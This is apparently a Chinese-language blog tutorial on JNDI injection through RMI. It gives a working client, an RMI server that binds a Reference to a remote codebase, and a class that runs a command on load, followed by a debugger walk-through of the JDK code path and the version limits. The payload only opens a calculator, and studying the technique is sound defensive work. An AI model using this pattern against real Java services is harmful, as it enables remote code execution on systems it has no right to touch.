天天看點

JNDI注入基礎

JNDI注入基礎

一、簡介

JNDI(The Java Naming and Directory Interface,Java命名和目錄接口)是一組在Java應用中通路命名和目錄服務的API,命名服務将名稱和對象聯系起來,使得我們可以用名稱通路對象。

這些命名/目錄服務提供者:

  • RMI (JAVA遠端方法調用)
  • LDAP (輕量級目錄通路協定)
  • CORBA (公共對象請求代理體系結構)
  • DNS (域名服務)

二、利用方式

在JNDI中有幾種利用方式,這節就來講一下RMI的利用方式

1.RMI的利用方式

用戶端:

package com.yy.JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
            String uri = "rmi://127.0.0.1:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
    }
}
           

服務端:

package com.yy.JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
    }
}
           

被遠端調用的惡意類:

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        return null;
    }
}
           

這裡會執行四次,彈出四個電腦

debug斷點打在用戶端lookup處:

JNDI注入基礎

跟進javax.naming.InitialContext#getURLOrDefaultInitCtx

JNDI注入基礎

先進入getURLOrDefaultInitCtx方法

在第347行傳回了rmiURLContext對象

回到前面getURLOrDefaultInitCtx處,又調用lookup方法,就會調用其rmiURLContext父類的lookup

4)在lookup中,檢視getRootURLContext

JNDI注入基礎

getRootURLContext其實是一個接口,根據不同的協定來調用對應類的getRootURLContext方法

JNDI注入基礎

5)回到lookup,繼續跟進

跟進到RegistryContext#lookup中

JNDI注入基礎

這裡會去RMI注冊中心尋找hello對象,接着看下目前類的

decodeObject

方法

JNDI注入基礎

這裡的ReferenceWrapper_stub對象實作了RemoteReference接口

JNDI注入基礎

調用ReferenceWrapper_stub#getReference方法傳回的是一個Reference對象

JNDI注入基礎

是以前面的var3擷取到的是一個Reference對象

JNDI注入基礎

繼續跟進到getObjectInstance

JNDI注入基礎

跟進NamingManager#getObjectInstance,在NamingManager#getObjectInstance中,319行調用了getObjectFactoryFromReference

JNDI注入基礎

NamingManager#getObjectFactoryFromReference

JNDI注入基礎

146行先嘗試從本地CLASSPATH加載該class,再到158行根據factoryName和codebase加載遠端的class,跟進看下158行loadClass方法的實作

VersionHelper12#loadClass

JNDI注入基礎

這裡用了URLClassLoader去加載遠端類

跟進loadClass

JNDI注入基礎

執行完Class.forName就會加載這個類,進而執行到static方法

由于類的加載執行了static方法,伺服器日志出現了一條調用記錄

JNDI注入基礎

并且彈出了電腦

JNDI注入基礎

回到NamingManager#getObjectFactoryFromReference中,繼續執行了 clas.newInstance

JNDI注入基礎

這裡執行完就會調用代碼塊和無參構造方法,彈出兩個電腦

再往下會執行到321行,調用

getObjectInstance

此時會執行惡意類Calc中的getObjectInstance方法,彈出最後一個電腦。

2.RMI的利用版本限制

從jdk

8u121

7u131

6u141

版本開始

com.sun.jndi.rmi.object.trustURLCodebase

com.sun.jndi.cosnaming.object.trustURLCodebase

的預設值變為false

即預設不允許從遠端的Codebase加載Reference工廠類

是以切換8u121版本,運作會報錯(其實這裡的8u121就是網上所說的8u113)

JNDI注入基礎